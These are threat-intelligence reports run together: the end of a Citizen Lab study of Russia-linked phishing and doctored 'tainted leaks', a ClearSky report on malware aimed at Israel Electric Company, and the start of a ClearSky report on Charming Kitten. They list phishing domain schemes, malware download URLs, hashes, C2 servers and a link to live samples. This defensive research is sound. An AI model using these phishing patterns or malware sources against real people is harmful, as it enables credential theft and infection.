shortcode stood out, and we suspected this may have been a manual operator test. Figure 27: The anomalous distance of 305 immediately stood out from the average of 8.2, drawing our attention to the shortened link According to the parameters obtained from the phishing URL associated with this anomalous shortcode, we were able to decode the Gmail account targeted with this phishing link: 26/43 Parameter Result after decoding Email Address myprimaryreger[@]gmail.com Full Name Google+ Profile Picture Table 2: URL parameter values decoded This Google account, myprimaryreger[@]gmail.com, was also used in the registration of at least one other domain name which was linked in prior research to known or suspected APT28 activity. Such connections, while circumstantial, further support the link to Russia-based threat actors. In Appendix B we provide a brief description of why we think the account is being used by the operator, and how the account uses Google Plus posts to embed images into phishing e-mails. Part 3: Connections to Publicly Reported Operations This section outlines the connections and overlaps between the operation described in this report and other, publicly-reported Russian-affiliated cyber espionage campaigns. The operator test uncovered during our enumeration of the Tiny.cc shortcodes (see Testing the Lure above), provides a circumstantial link to APT28, however there are other potential links. In this section, we outline other comparisons between this campaign and other publicly reported operations that have a Russian nexus. We identify marked similarities to a collection of phishing links now attributed to one of the most publicly visible information operations in recent history: the targeting of the 2016 US Presidential Campaign. A Bit More Abuse The phishing URLs in this campaign were encoded with a distinct set of parameters using base64. When clicked, the links provided key information about the targets to the phishing website. An identical approach to parameters and encoding (see Figure 28 below) has been seen before: in the March 2016 phishing campaign that targeted Hillary Clinton s presidential campaign and the Democratic National Committee. This similarity suggests possible code reuse: the two operations may be using the same phishing The campaign that targeted the DNC also included the same Google security-themed phishing ruse, and abused another URL shortening service, Bit.ly. In June 2016 Dell SecureWorks published a report attributing the operation to APT28, a threat actor routinely associated with 27/43 the Russian government. SecureWorks researchers were able to enumerate and analyze the targets of this campaign, thus allowing them to describe the victimology: individuals in Russia and the former Soviet states, current and former military and government personnel in the U.S. and Europe, individuals working in the defense and government supply chain, and authors and journalists but also included email accounts linked to the November 2016 United States presidential election This victimology strikes an immediate parallel to the target listing we have uncovered in our enumeration of the Tiny.cc URLs. Figure 28: Bitly link and ultimate phishing page address sent to John Podesta, former chairman of the Hillary Clinton presidential campaign, in March 2016 Domain Schema Commonalities We found similarities in domain naming, and subdomain structures, between this campaign and operations linked to APT28. The domain used in the campaign targeting Satter was id833[.]ga. At the time of the campaign, this domain name was pointed to a server at IP address 89.40.181[.]119. Using PassiveTotal, we observed other domain names sharing a similar naming scheme also directed at this IP: id834[.]ga, and id9954[.]gq. While we did not observe any phishing links for these alternate domains, there were identical subdomains registered for both: Domain Sub-Domain id833[.]ga myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin id834[.]ga myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin id9954[.]gq myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin This domain / subdomain naming schema is also extremely close to one featured in Mandiant s 2017 M-Trends report, in a phishing operation, linked to APT28, which targeted OAuth tokens in an effort to obtain persistent access to a victim s Google account, and to 28/43 bypass the security of two-factor authentication. Domain linked to this campaign: myaccount.google.com-changepasswordsecuritypagesettingmyaccountgooglepagelogin.id833[.]ga Domain mentioned by Mandiant, linked to APT28:myaccount.google.comchangepassword-securitypagesettingmyaccountgooglepage.id4242[.]ga The similarities in naming and subdomain structure are immediately apparent. The two domains (id833[.]ga and id4242[.]ga) also share a common name server. However, we were not able to find specific registration overlaps between the domains or servers. Furthermore, during the campaign period, the domain identified by Mandiant, id4242[.]ga resolved to 89.32.40[.]238. This IP also resolves to a range of other suspicious domains with highly similar naming schemas to those connected to the infrastructure used against Satter. The link used to phish John Podesta, as depicted above, also shares distinct naming and subdomain similarities with domains linked to the phishing operation against Satter (see Figure 28): Domain targeting Podesta, linked to APT28: hxxp://myaccount.google.comsecuritysettingpage[.]tk During the campaign in March 2016, this domain was hosted at IP address 80.255.12[.]237 Publications from numerous private industry groups attribute 89.32.40[.]238 and 80.255.12[.]237 (as well as related domains) to APT28. While we are able to point out that there are significant commonalities in domain naming and subdomain structure between the campaign targeting Satter and domains linked to these IPs, we are not able to make a more conclusive technical link to APT28. While industry groups as well as the U.S. government have publicly connected APT28 with Russian state actors, we are not able to use infrastructure analysis alone to conclusively connect the operation against Satter to a particular state sponsor. Connecting this infrastructure to a specific government would require additional evidence which is not, to our knowledge, available in the public domain. The Challenge of Attribution While the order of events surrounding the phishing, credential theft, and eventual leak of tainted documents belonging to David Satter would seem to point to CyberBerkut, the characteristics of Russian information operations make the task of attribution to a state sponsor challenging. As a consequence, there is no smoking gun connecting the evidence we have assembled to a particular Russian government agency, despite the overlaps between our evidence and that presented by numerous industry and government reports concerning Russian-affiliated threat actors. Addressing the topic of attribution requires nuance and appreciation of the unique character of 29/43 Russian cyber espionage: its deliberate cultivation of organized criminal groups as proxy operators, and the high number of independently operating, overlapping, and sometimes competing spy agencies and security services all of whom work within a broad culture of barely concealed corruption. As one study on Russia notes, Russia s many security agencies granted considerable latitude in their methods, unconstrained by the concerns of diplomats or the scrutiny of legislators. Russia s approach to the use of proxy actors in the criminal underworld in particular is informed by a very elaborate strategy around information operations and control. Although this strategy has roots that go back deep into Soviet (and even earlier Russian) history, it was more fully elaborated as a component of hybrid warfare, also known as the Gerasimov doctrine or non-linear warfare, and infused with deeper resources after the color revolutions, the 2011 Moscow protests, and upon reflection of the events of the Arab Spring. The overall Russian approach has been described as a form of guerrilla geopolitics in which a would-be great power, aware that its ambitions outstrip its military resources, seeks to leverage the methodologies of an insurgent to maximise its capabilities. Cultivating organized criminal groups is a fundamental component of this approach, as evidenced in the annexation of Crimea which was undertaken in coordination with criminal elements who provided political and military muscle. Russian security officers are also known to routinely dabble in the proceeds of underworld criminal operations for illicit revenue of their own, and as a result can even prioritize criminal over national security concerns. In the digital arena, this doctrine is manifest in the cultivation of Internet-focused organized criminal groups who operate partially on behalf of or in support of the Putin regime, and partially oriented around their own pecuniary gain in online financial fraud and other schemes. There is evidence Russian hackers are being given wide latitude to undertake criminal activities as long as it conforms to Russian security agencies wishes. Multiple Russianaffiliated operators could compromise the same target unwittingly and without seeming coordination. This piling on around a target further complicates attribution. This complex proxy strategy, as well as the multiple, competing agencies behind the proxies, is often lost or overlooked when companies and government agencies jump quickly to attribution around Russian cyber espionage. While it is possible that a proxy actor is implementing the front-end collection component of the phishing campaign we are describing, the scale of the targeting also suggests a wellresourced actor, such as a nation state. The thread linking all of the targets is their connection to issues that the Russian government cares about. The targets are people whose positions or activities give them access to, or influence over, sensitive information of specific interest to Russia. This links an otherwise extremely diverse target set, which ranges from domestic Kremlin critics and journalists, to anti-corruption investigators, foreign government personnel, and businesspeople. The data collected from such a campaign would come in more than a dozen languages, and concern a diverse range of political, military, and policy issues from at least 39 countries and 28 governments. In addition, such a campaign would be likely to generate large volumes of 30/43 data. For this reason, a professionalized, well-resourced operator would be needed for any effective post-collection analysis of the stolen data. Even greater resources would be required to analyse, and in some instances carefully modify in a short timeframe, the contents of stolen email and cloud-storage accounts for the purposes of seeding disinformation via tainted leaks. The diversity and presumed cost of analyzing the stolen data along with the clear Russian nexus for the targets is only circumstantial evidence of a Russian connection. It should be evaluated in the context of the other pieces of circumstantial evidence we present, including the overlaps in tactics with known Russia-linked actors, and the prominent role of CyberBerkut. Part 4: Discussion In this section, we examine the troubling relationship between espionage and disinformation, particularly in its latest digital manifestation, and elaborate on how civil society is particularly at risk from such new tactics. Tainted Leaks: A New Trend The recent theft and disclosure of documents (branded as a leak ) from the presidential campaign of Emmanuel Macron is the highest profile case in which it appears that falsified documents were inserted amongst real, stolen documents. The documents falsely implied a range of improper or questionable activities. The false stories implied by these documents were then highlighted in campaigns promoted with twitter bots and other techniques. The leakbranded release had followed the release, several days earlier, of a quickly-debunked story, supported by falsified documents, alleging that Macron held foreign bank accounts. In the case of the leak-branded releases during the 2016 US presidential election, the publiclyavailable evidence connecting these releases with Russian-affiliated cyber operations is largely circumstantial, but compelling. It is reported, and highly probable, that stronger evidence is available in classified venues. Building on initial reports by Trend Micro that the Macron campaign was targeted by APT28, follow-up reports have pointed to Russian involvement in the breach, and the tainted leaks. The Macron case continues to develop, and many elements are still uncertain, including whether the Macron campaign was deliberately seeding their own communications with false documents, intended to slow down operators analysis pipeline. However, it is not the first case in which evidence or claims of tainted leaks have surfaced. Documents stolen from the Open Society Foundations, which had been the victim of a breach, were modified and then released in a tainted leak by CyberBerkut in a post dated November 21 2015. The tainting included careful alterations, such as modifying budget documents, to make it appear that certain Russian civil society groups were receiving foreign funding. The case became publicly visible because elements of the same stolen set were re-released on the leak-branded website DC Leaks, without the tainting. 31/43 In the case of David Satter, whose personal email accounts had similarly been breached, and then tainted, materials were edited, spliced, and deleted, while new text was added. Fiction was added to fact to create a hybrid tainted leak. The tainted leak told a series of new, false stories, intended not only to discredit Satter, but to support domestic narratives familiar to many Russians: of foreign interference, and of a foreign hand behind criticism of the government. Falsehoods in a Forest of Facts Recent leaks by genuine whistleblowers, as well as leak -branded releases of materials stolen by cyber espionage operations (e.g. DC Leaks or Macron Leaks ) are appealing because they appear to provide an un-filtered peek at people speaking privately. Like an intercepted conversation, they feel closer to the truth, and may indeed reveal unscripted truths about people and institutions. It is hard not to be curious about what salacious details might be contained within them. In the 2016 United States presidential election, it was evident that the release, although clearly intended to influence the election, was viewed by most media organizations as having intrinsic newsworthiness, and thus the contents of leaks were often quickly amplified and repeated. The potential of leaks to attract attention makes large dumps of stolen materials fertile ground for tainting. A carefully constructed tainted leak included in a set of real stolen material is surrounded by documents that, by juxtaposition, indirectly signal that it is legitimate. This could help the tainted leak survive initial scrutiny by reporters and others seeking corroboration. Coupled with a media strategy, or social-media amplification campaign that selectively highlights the fake or the narrative that the fake supports, leak tainting poses a serious problem to both the victim of the breach, and whoever is implicated by the disinformation. The spread of disinformation can contribute to cynicism about the media and institutions at large as being untrustworthy and unreliable, and can cultivate a fatigue among the population about deciphering what is true or not. By propagating falsehoods, the aim is not necessarily to convince a population that the falsehood is true (although that outcome is desirable) but rather to have them question the integrity of all media as equally unreliable, and in doing so foster a kind of policy paralysis. Tainted Leaks Place a Unique Burden on Breach Victims Should a tainted document gain traction, there is a burden on the victim of the disinformation to prove that the leaks are not genuine. This challenge may be difficult. Victims of breaches may be unable, unwilling, or forbidden to release original documents. Moreover, they may not wish to be drawn into fact-checking their own stolen data. This problem is likely to be especially true if the operators behind the tainted leaks have chosen documents that are themselves sensitive. A Russian anti-corruption activist whose name has been seeded into such sensitive reports may not be able to convince the original victim of the breach to release the authentic document. Indeed, such a person may not even be able to determine exactly which parts of 32/43 the document are real, and which are fake, beyond what they know to be true about themselves. Meanwhile, members of the public do not have the ability to carefully verify the integrity of such dumps, either as a whole, or specific documents within them. Indeed, even journalists reporting on accusations or falsehoods may be unable to obtain explicit confirmation of which exact material has been faked. If a tainted document is carefully constructed from real, verifiable elements, it may be especially difficult to identify as a fake. Even if journalists do the hard digging and analysis, they may not be able to publish their results in a timely enough fashion to matter. By the time their work is complete, the false information may have embedded itself into the collective consciousness. Disinformation can persist and spread unless concerted measures are taken to counter it. Even more insidious is the fact that studies have found that attempts to quash rumors through direct refutation may facilitate their diffusion by increasing fluency. In other words, efforts to correct falsehoods can ironically contribute to their further propagation and even acceptance. Not all tainted leaks work as intended to cause maximum harm. Almost immediately following the Macron Leaks, the Macron campaign responded quickly, and stated that the leaks included fakes. In the fast-moving media environment in the days before voting, this move may have led to uncertainty about the factual nature of the release in the minds of many journalists, dimming enthusiasm to quickly report finds. Amplification of the leaks was further blocked by a recommendation to media by the French electoral authority to not relay the leaks. The authority pointed to the presence of fakes, and warned of possible legal implications for reporting the story. Following the voting, staff from the Macron campaign claimed in the media that the stolen documents also likely contained fakes created by the campaign, designed to waste the time of intruders. This claim also cast further doubt on the veracity of any documents contained in the leaks. Tainted Leaks: Old Methods, New Tactics Stealing digital information for intelligence purposes is a well-known and commonly practiced tactic used by states. However, a unique aspect of Russian cyber espionage distinguishing it from other governments is the public release of exfiltrated data intended to embarrass or discredit adversaries. Known as kompromat , this type of activity is common in Russia, and was previously used by the Soviet Union, and is evident in the publication of emails on Wikileaks related to United States officials involved in the 2016 U.S. presidential election campaign. Releasing Satter s e-mails could be roughly described as kompromat. However, with his cooperation we were able to identify a second feature of the release: the deliberate tampering with the content of his messages. This mixing of fact and falsehood is thus also a disinformation strategy. 33/43 In Russian / Soviet military doctrine, the practice of deliberately propagating forged documents and disinformation is known as dezinformatsiya , referring to manipulation of information in the service of the propagation of falsehoods. Although practiced for decades by Russia and the Soviet Union, the use of dezinformatsiya in connection with cyber espionage is a new and troublesome frontier in structured digital disinformation. Why Target Civil Society? Our investigation identified civil society targets inside and outside of Russia. This targeting is consistent with a general consensus on how the Russian regime thinks: whether domestic or foreign, civil society is treated as a threat to the regime, its extended kleptocracy, and the sovereignty of the country. There are at least two reasons why civil society factors highly into Russian perceptions of threats. First, independent civil society groups can create difficulties for the regime by spotlighting corruption and abuse of power, speaking freely about issues the government would rather keep in the shadows, and mobilizing people into organized opposition. Those unfamiliar with the Russian experience may overlook a second motivation, which is drawn from the larger Russian narrative of humiliation and defeat at the hands of the United States and its allies at the end of the Cold War. Some Russian leaders, especially those tied to the old Soviet system, resent US triumphalism, and see local civil society (except for those under their direct control) as instruments of US and western interference in Russian domestic politics. For example, Putin used the term active measures to describe the actions of thenSecretary of State Hillary Clinton during the 2011 Moscow demonstration. This narrative of Russia as a besieged fortress is used as justification for the repression and targeting of civil society groups both inside Russia proper, in the former Soviet spaces, and abroad. While often overlooked by western media and policymakers, this threat model translates in practice into targeted digital surveillance operations on civil society, both domestically and abroad. Of special concern to the government are NGOs, journalists, and activists that are seen as having links to the West and / or are funded by western governments. Many of the targets of this campaign are connected in some degree to United States-based think tanks and fellowships. Of equal concern to the government, however, are the actions of domestic NGOs and individuals. As our report shows, a principal motivation for the targeting of David Satter and the tainting of leaks derived from materials stolen from him was to falsely portray local Russian groups as having affiliations and even funding ties to western organizations and the U.S. government. Conclusion Tainted leaks are a growing and particularly troublesome addition to disinformation tactics, and in the current digital environment are likely to become more prevalent. In the 2017 French 34/43 presidential election, tainted leaks appear to have been used in an attempt to discredit the political party and candidate for election directly. The target of the tainting was roughly the same entity that suffered the breach. In the cases we analyzed, however, tainted leaks were used to discredit third parties who had not been the victims of the original breach. This difference highlights yet another facet of the growing trend of leak-branded releases, and the challenges they pose. Tainted leaks fakes in a forest of facts test the limits of how media, citizen journalism, and social media users handle fact checking, and the amplification of enticing, but questionable information. As a tactic, tainted leaks are an evolution of much older strategies for disinformation, and like these earlier strategies, pose a clear threat to public trust in the integrity of information. Interestingly, while the tainting we describe appears to have a primarily domestic aim, to discredit elements of the Russian opposition, it is readily applied globally. The report identified a phishing campaign with over 200 unique targets from 39 countries. We do not conclusively attribute the technical elements of this campaign to a particular sponsor, but there are numerous elements in common between the campaign we analyzed and that which has been publicly reported by industry groups as belonging to threat actors affiliated with Russia. Given Russia s well-known preference for the use of proxy actors, it would be highly unlikely that a group such as ours, which relies on open source information, would be able to discover a conclusive link in a case like this. However, it is worth reiterating that the resources of a government would likely be necessary to manage such a large and ambitious campaign, given the number of languages spoken by targets, and their areas of work. The group includes a former Russian Prime Minister, a global list of government ministers, ambassadors, military and government personnel, CEOs of oil companies, and members of civil society from more than three dozen countries. The targets we found are connected to, or have access to, information concerning issues in which the Russian government has a demonstrated interest. These issues range from investigations of individuals close to the Russian president, to the Ukraine, NATO, foreign think tanks working on Russia and the Crimea, grantmakers supporting human rights and free expression in Russia, and the energy sector in the Caucasus. Considering this primary Russian focus, as well as the technical evidence pointing to overlaps and stylistic similarities with groups attributed to the Russian government, we believe there is strong circumstantial but not conclusive evidence for Russian government sponsorship of the phishing campaign, and the tainted leaks. The civil society targets of this operation deserve special attention. At least 21% of the targets from our set were journalists, activists, scholars and other members of civil society. All too often, threats against civil society groups receive second-billing in industry reporting and media coverage of government-linked operations. Yet, in this case, members of civil society were both the targets of disinformation in the form of 35/43 tainted leaks, and represented a large proportion of the phished targets. In a cautionary note for grantmakers, several dozen targets all held the same fellowship, from the same organization. This common affiliation suggests that they may have been targeted because of their relationship with the grantmaker. We hope this report will encourage others to engage in further research into the techniques used to propagate tainted leaks, as well as serving as a reminder of the often under-reported presence of civil society targets among government-linked phishing and malware operations. Acknowledgements Special thanks to David Satter, Raphael Satter, and the Open Society Foundations for cooperating and providing us with materials necessary to conduct the investigation. Thanks to the Citizen Lab team who provided review and assistance, especially Bill Marczak, Masashi Crete-Nishihata, Etienne Maynier, Adam Senft, Irene Poetranto, and Amitpal Singh. We would like to thank additional researchers for comments and feedback including Jen Weedon, Alberto Fittarelli, Exigent Petrel and TNG. Support for Citizen Lab s research on targeted threats comes from the John D. and Catherine T. MacArthur Foundation, the Open Society Foundations, the Oak Foundation, Sigrid Rausing Trust, and the Ford Foundation. Appendix A: The Tainting 36/43 37/43 38/43 39/43 Figure 29: Full text of the tainted leak released by CyberBerkut showing tainting Inserted Articles and their Contents Article Author Theme Informational Stuffing: What is Known about Each President Sergei Roldugin Elizaveta Surnachyova Discusses the relationship between Putin and Sergei Roldugin (a cellist and financial associate of Putin). Roldugin is friends with many Putin insiders, and holds a 3.2% stake in Bank Rossiya. He also formerly ran two media groups and one oil company. The Budget of Katherine Tikhonova s Fund Has Grown by Half Vyacheslav Kozlov and Ivan Tkachyov Innopraktika, a fund managed by Putin s daughter, saw a very large funding increase. Igor Shuvalov Tsar-apartment Costs 600 Times as Ordinary Apartments He Laughed at Alexei Navalny Part of a series on the shell companies used by Igor Shuvalov, and his purchase of a lavish and extremely expensive apartment. Portraying Benefactor: Pays for the Projects Related to Putin Examines the processes by which oligarchs repay the Russian president by contributing money to charities and pet projects. These include the funds managed by Tikhonova and Roldugin. 40/43 Article Author Theme Journalists Have Found Analogues of the Ozero Cooperative All Over the Central Russia Slon Relates to a Transparency International and Meduza.io investigation documenting replications of the Ozero Cooperative (Putin s dacha organization) across Russia. This cooperative involves private dacha (cottage) communities in which politicians, public servants and businessmen live in close proximity, allowing them to conduct informal meetings. There, Beyond the 6-Meter-High fall of Medvedev Dacha Alexei Navalny Discusses the 80 hectare (officially only 2 hectare) property belonging to Medvedev, and paid for by oligarchs through contributions made to charitable funds. He is Putin Cook. He is Putin s Troll. He is a Billionaire Alexei Navalny A look at Dmitry Rogozin, who runs the troll factory on Savushkina Street in St. Petersburg. He also controls a series of unrelated companies providing everything from catering to cleaning services to power distribution which benefit from government contracts. Apartment Worth More than Half a Billion Was Found at Putin s ExBodyguard Samename [sic] Maria Zholobova and Maria Borzunova Putin s former bodyguard and now governor of Tula region, Alexei Dyumin, is registered as owning an apartment worth between 500-700 million rubles. Curiously, the apartment was purchased while Dyumin was serving in the Russian Ministry of Defence. . Samolet Development is Ready to IPO Irina Gruzinova, Ivan Vasiliev, Irina Skrynnik Samolot Developments is a property development firm building condos. The company was purchased by Invest AG. Samolot Developments managed to develop land and obtain permits where others could not given its close ties to the governor of Moscow region, Andrey Vorobev. His brother, Maksim, is one of Samolot s founders. How Katherine Tikhonova s Fund is Doing Alexei Navalny This report describes multi-million dollar contracts from state firms with the science and tech fund managed by Putin s daughter. The fund also received anonymous donations totalling roughly half its budget, leading to 2015 revenues of 877 million rubles. Includes quotes of vague and nonsensical project descriptions used to justify payouts. Appendix B: Test Account Examining the Google+ page for the myprimaryreger[@]gmail.com account reveals a suspicious series of posts: 41/43 Figure 30 B: Google+ profile page for myprimaryreger[@]gmail.com Each of the Google+ profile posts by this user contain images which are routinely observed in legitimate security warning emails sent by Google. Once an image file is uploaded to a Google+ profile post, it is copied to Google servers and can be obtained using an associated perma-link. We suspect that the purpose of these posts is to allow the operator to embed links to Googlespecific images into their phishing emails in the hopes that linking to images hosted on Google servers will somehow thwart Gmail malicious email detection controls. Appendix C: Indicators of Compromise Domain Names IP Addresses Email Addresses id833[.]ga 89.40.181.119 g.mail2017[@]yandex.com id834[.]ga 89.32.40.238 annaablony[@]mail.com id9954[.]gq 80.255.12.237 myprimaryreger[@]gmail.com id4242[.]ga mail-google-login.blogspot[.]com com-securitysettingpage[.]tk Footnotes Colour Revolution is a term that has been widely used to describe the pro-democracy protests and social movements that occurred in the early 2000s throughout the former Soviet Union. 2 Several individuals were targeted in both of the two distinct campaigns we analysed. 3 The Citizen Lab receives financial support for its research from a range of funders, including the Open Society Foundations. See https://citizenlab.ca/about/ 42/43 Vedomosti is a Russian language daily news service connected to The Moscow Times (and in which The Financial Times and Dow Jones had a stake until 2015, when Vedomosti and The Moscow Times were bought out by Russian business interests). 5 The six character base36 sequence space contains over 2.1 billion combinations. Checking each one with a one-second delay (so as not to abuse the Tiny.cc web service) would take approximately 66 years. 43/43 Operation Electric Powder Who is targeting Israel Electric Company? clearskysec.com /iec/ Attackers have been trying to breach IEC (Israel Electric Company) in a year-long campaign. From April 2016 until at least February 2017, attackers have been spreading malware via fake Facebook profiles and pages, breached websites, self-hosted and cloud based websites. Various artifacts indicate that the main target of this campaign is IEC Israel Electric Company. These include domains, file names, Java package names, and Facebook activity. We dubbed this campaign Operation Electric Powder Israel Electric Company (also known as Israel Electric Corporation) is the largest supplier of electrical power in Israel. The IEC builds, maintains, and operates power generation stations, sub-stations, as well as transmission and distribution networks. The company is the sole integrated electric utility in the State of Israel. It installed generating capacity represents about 75% of the total electricity production capacity in the country. It is notable that the operational level and the technological sophistication of the attackers are not high. Also, they are having hard time preparing decoy documents and websites in Hebrew and English. Therefore, in most cases a vigilant target should be able to notice the attack and avoid infection. We do not have indication that the attacks succeeded in infecting IEC related computers or stealing information. Currently we do not know who is behind Operation Electric Powder or what its objectives are. See further discussion in the Attribution section. Impersonating Israeli news site The attackers registered and used in multiple attacks the domain ynetnewes[.]com (note the extra e). This domain impersonates ynetnews.com, the English version of ynet.co.il one of Israel s most popular news sites. Certain pages within the domain would load the legitimate Ynet website: 1/13 Others, which are opened as decoy during malware infection, had copied content from a different news site: The URL ynetnewes[.]com/video/Newfilm.html contained an article about Brad Pitt and Marion Cotillard copied from another site. At the bottom was a link saying Here For Watch It ! 2/13 The link pointed to goo[.]gl/zxhJxu (Google s URL shortening service). According to the statistics page, it had been created on September 25, 2016 and have been clicked only 11 times. When clicked, it would redirect to iecr[.]co/info/index_info.php . We do not know what was the content in the final URL. We estimate that it served malware. The domain iecr[.]co was used as a command and control server for other malware in this campaign. Another URL, http://ynetnewes[.]com/resources/assets/downloads/svchost.exe hosted a malware file called program_stream_film_for_watch.exe. (d020b08f5a6aef1f1072133d11f919f8) Fake Facebook profile Linda Santos One of the above mentioned malicious URLs was spread via comments by a fake Facebook profile Linda Santos (no longer available): In September 2016, the fake profile commented to posts by Israel Electric Company: 3/13 4/13 The profile had dozens of friends, almost all were IEC employees: 5/13 The fake profile was following only three pages, one of which was the IEC official page: Pokemon Go Facebook page In July 2016, when mobile game Pokemon Go was at the peak of its popularity, the attackers created a Facebook page impersonating the official Pokemon Go page: The page, which is no longer available, had about one hundred followers most were Arab Israelis and some were Jewish Israelis. Only one post was published, with text in English and Hebrew. Grammatical mistakes indicate the attackers are not native to both languages: 6/13 The post linked to a malicious website hosted in yolasite.com (which is a legitimate website building and hosting platform): pokemonisrael.yolasite[.]com The button literal translation To download phone and computer ) linked to a zip file in another website: 7/13 http://iec-co-il[.]com/iec/electricity/Pokemon-PC.zip Note that the domain being impersonated is that of Israel Electric Company s website (iec.co.il). Pokemon-PC.zip (40303cd6abe7004659ca3447767e4eb7) contained Pokemon-PC.exe (e45119a72677ed15ee0f04ef936a9803), which at run time drops monitar.exe (d3e0b129bad263e6c0dcb1a9da55978b): Android phone malware The attackers also distributed a malicious app for Android devices pokemon.apk (3137448e0cb7ad83c433a27b6dbfb090). This malware also had characteristics that impersonate IEC, such as the package name: The application is a dropper that extracts and installs a spyware. The dropper does not ask for any permission during installation: However, when the spyware is installed, it asks for multiple sensitive permissions: The victim ends up with two applications installed on their device. The Dropper, pretending to be a Pokemon Go app, adds an icon to the phone dashboard. However, it does not have any functionality, and when clicked, this error message is displayed: Error 505 Sorry, this version is not compatible with your android version. The dropper does not really check what android version is installed: 8/13 The message is intended to make the victim believe that the Pokemon game does not work because of compatibility issues. The victim is likely to uninstall the application at this point. However, because a second application was installed, the phone would stay infected unless it is uninstalled as well. 9/13 Websites for Malware distribution Malware was also hosted in legitimate breached Israeli websites, such as this educational website: http://www.bagrut3.org[.]il/upload/edu_shlishit/passwordlist.exe (defc340825cf56f18b5ba688e6695e68) and a small law firm s website: http://sheinin[.]co.il/MyPhoto.zip (650fcd25a917b37485c48616f6e17712) In journey-in-israel[.]com, the attackers inserted an exploit code for CVE-2014-6332 a Windows code execution vulnerability. The exploit was copied from an online source, likely from here, as the code included the same comments. The website also hosted this malware: afd5288d9aeb0c3ef7b37becb7ed4d5c. In other cases, the attackers registered and built malicious websites: users-management[.]com and sourcefarge[.]net (similar to legitimate software website sourceforge.net). The latter was redirecting to journeyin-israel[.]com and iec-co-il[.]com in May and July 2016, according to PassiveTotal: Sample 24befa319fd96dea587f82eb945f5d2a, potentially only a test file, is a self-extracting archive (SFX) that contains two files: a legitimate Putty installation and link.html: When run, while putty is installed, the html file is opened in a browser and redirects to http://tinyurl[.]com/jerhz2a and then to http://users-management[.]com/info/index_info.php?id=9775. The last page 302 redirects to the website of an Israeli office supply company Mafil: 10/13 Sample f6d5b8d58079c5a008f7629bdd77ba7f , also a self-extracting archive, contained a decoy PDF document and a backdoor: The PDF, named IEC.pdf, is a warranty document taken from Mafil s public website. It is displayed to the victim while the malware (6aeb71d05a2f9b7c52ec06d65d838e82) is infecting its computer: Windows Malware The attackers developed three malware types for Windows based computers: 11/13 Dropper self-extracting archives that extract and run the backdoor, sometimes while opening a decoy PDF document or website. (For example: 6fa869f17b703a1282b8f386d0d87bd4) Trojan backdoor / downloader malware that collects information about the system and can download and execute other files. (909125d1de7ac584c15f81a34262846f) Some samples had two hardcoded command and control servers: iecrs[.]co and iecr[.]co (note once again the use of IEC in the domain name). Keylogger / screen grabber records keystrokes and takes screenshots. The malware file is compiled Python code. (d3e0b129bad263e6c0dcb1a9da55978b) An analysis of the malware and other parts of the campaign was published by Mcafee in on November 11, 2016. The latest known sample in this campaign (7ceac3389a5c97a3008aae9a270c706a) has compilation timestamp of February 12, 2017. It is dropped when pdf file products israel electric.exe (c13c566b079258bf0782d9fb64612529) is executed. Attribution In a report that covers other parts of the campaign, Mcafee attribute it to Gaza Cybergang (AKA Gaza Hacker Team AKA Molerats). However, the report does not present strong evidence to support this conclusion. While initially we thought the same, currently we cannot relate Operation Electric Powder to any known group. Moreover, besides Mohamad potentially being the name of the malware developer (based on PDB string found in multiple samples: C:\Users\Mohammed.MU\Desktop\AM\programming\C\tsDownloader\Release\tsDownloader.pdb ), we do not have evidence that the attackers are Arabs. Indicators of compromise Indicators file: Operation-Electric-Powder-indicators.csv (also available on PassiveTotal). Notably, all but one of the IP addresses in use by the attackers belong to German IT services provider Accelerated IT Services GmbH (AS31400): 84.200.32.211 84.200.2.76 84.200.17.123 84.200.68.97 82.211.30.212 82.211.30.186 82.211.30.192 Florian Roth shared a Yara rule to detect the downloader: Operation-Electric-Powder-yara.txt The graph below depicts the campaign infrastructure (click the image to see the full graph): 12/13 Live samples can be downloaded from the following link: https://ln.sync[.]com/dl/30e722bf0#f72zgiwk-zxcp3e9t-fa9jyakr-zpbf5hgg (Please email info@clearskysec.com to get the password.) Acknowledgments This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research. 13/13 Charming Kitten Iranian cyber espionage against human rights activists, academic researchers and media outlets and the HBO hacker connection ClearSky Cyber Security December 2017 Contents Introduction ..........................................................................................................................................................3 Targets .........................................................................................................................................................3 Charming Kitten or Rocket kitten? .......................................................................................................................4 The HBO hacker and Charming Kitten ..................................................................................................................5 HBO hacking indictment ..............................................................................................................................5 Connection to Iranian government backed threat agent ............................................................................5 From Mesri to Charming Kitten ...................................................................................................................6 Delivery and Infection ........................................................................................................................................16 Made up organizations and people ...............................................................................................................16 British News ...............................................................................................................................................16 Made up studens and jurnalists.................................................................................................................24 Impersonating real companies.......................................................................................................................30 United Technologies impersonation..........................................................................................................30 Watering holes ...............................................................................................................................................32 Spear Phishing for credential stealing............................................................................................................34 Wave 1 .......................................................................................................................................................34 Wave 2 .......................................................................................................................................................36 Wave 3 .......................................................................................................................................................37 Email tracking services ...............................................................................................................................45 Targeted emails with malware.......................................................................................................................46 DownPaper Malware ..........................................................................................................................................47 Additional samples.....................................................................................................................................49 MAGICHOUND.RETRIEVER .................................................................................................................................50 Appendix A - Indicators of Compromise.............................................................................................................51 Appendix B - Previous reports about Charming Kitten and Rocket Kitten .........................................................59 Page 2 of 59 All rights reserved to ClearSky Cyber Security, 2017 Introduction Charming Kitten is an Iranian cyberespionage group operating since approximately 2014. This report exposes their vast espionage apparatus, active during 2016-2017. We present incidents of company impersonation, made up organizations and individuals, spear phishing and watering hole attacks. We analyze their exploitation, delivery, and command-and-control infrastructure, and expose DownPaper, a malware developed by the attackers, which has not been publicly documented to date. Incidents documented in this report are likely a small fraction of the actual amount of targeted attacks, which may reach thousands of individuals. We expose more than 85 IP addresses, 240 malicious domains, hundreds of hosts, and multiple fake entities most of which were created in 2016-2017. The most recent domains (com-archivecenter[.]work, com-messengerservice[.]work and com-videoservice[.]work) were registered on December 2nd, 2017, and have probably not been used in attacks yet. We present the connection between Behzad Mesri, an Iranian national recently indicted for his involvement in hacking HBO, and Charming Kitten. We also identify other members of the group. This report refers to two likely distinct groups, Charming Kitten and Rocket Kitten, together. This is not to say that the two groups are one, but that due to overlap in infrastructure, tools, targets, and modus operandi we are unable to precisely attribute each incident to one or the other. Further discussion appears in the section "Charming Kitten or Rocket kitten?" Targets The attackers' focus appears to be individuals of interest to Iran in the fields of Academic research (i.e. Iranists - Scholars who study Iran), Human right and media. Emphasis is given to Iranian dissidents living in Iran or abroad, and people who come in touch with 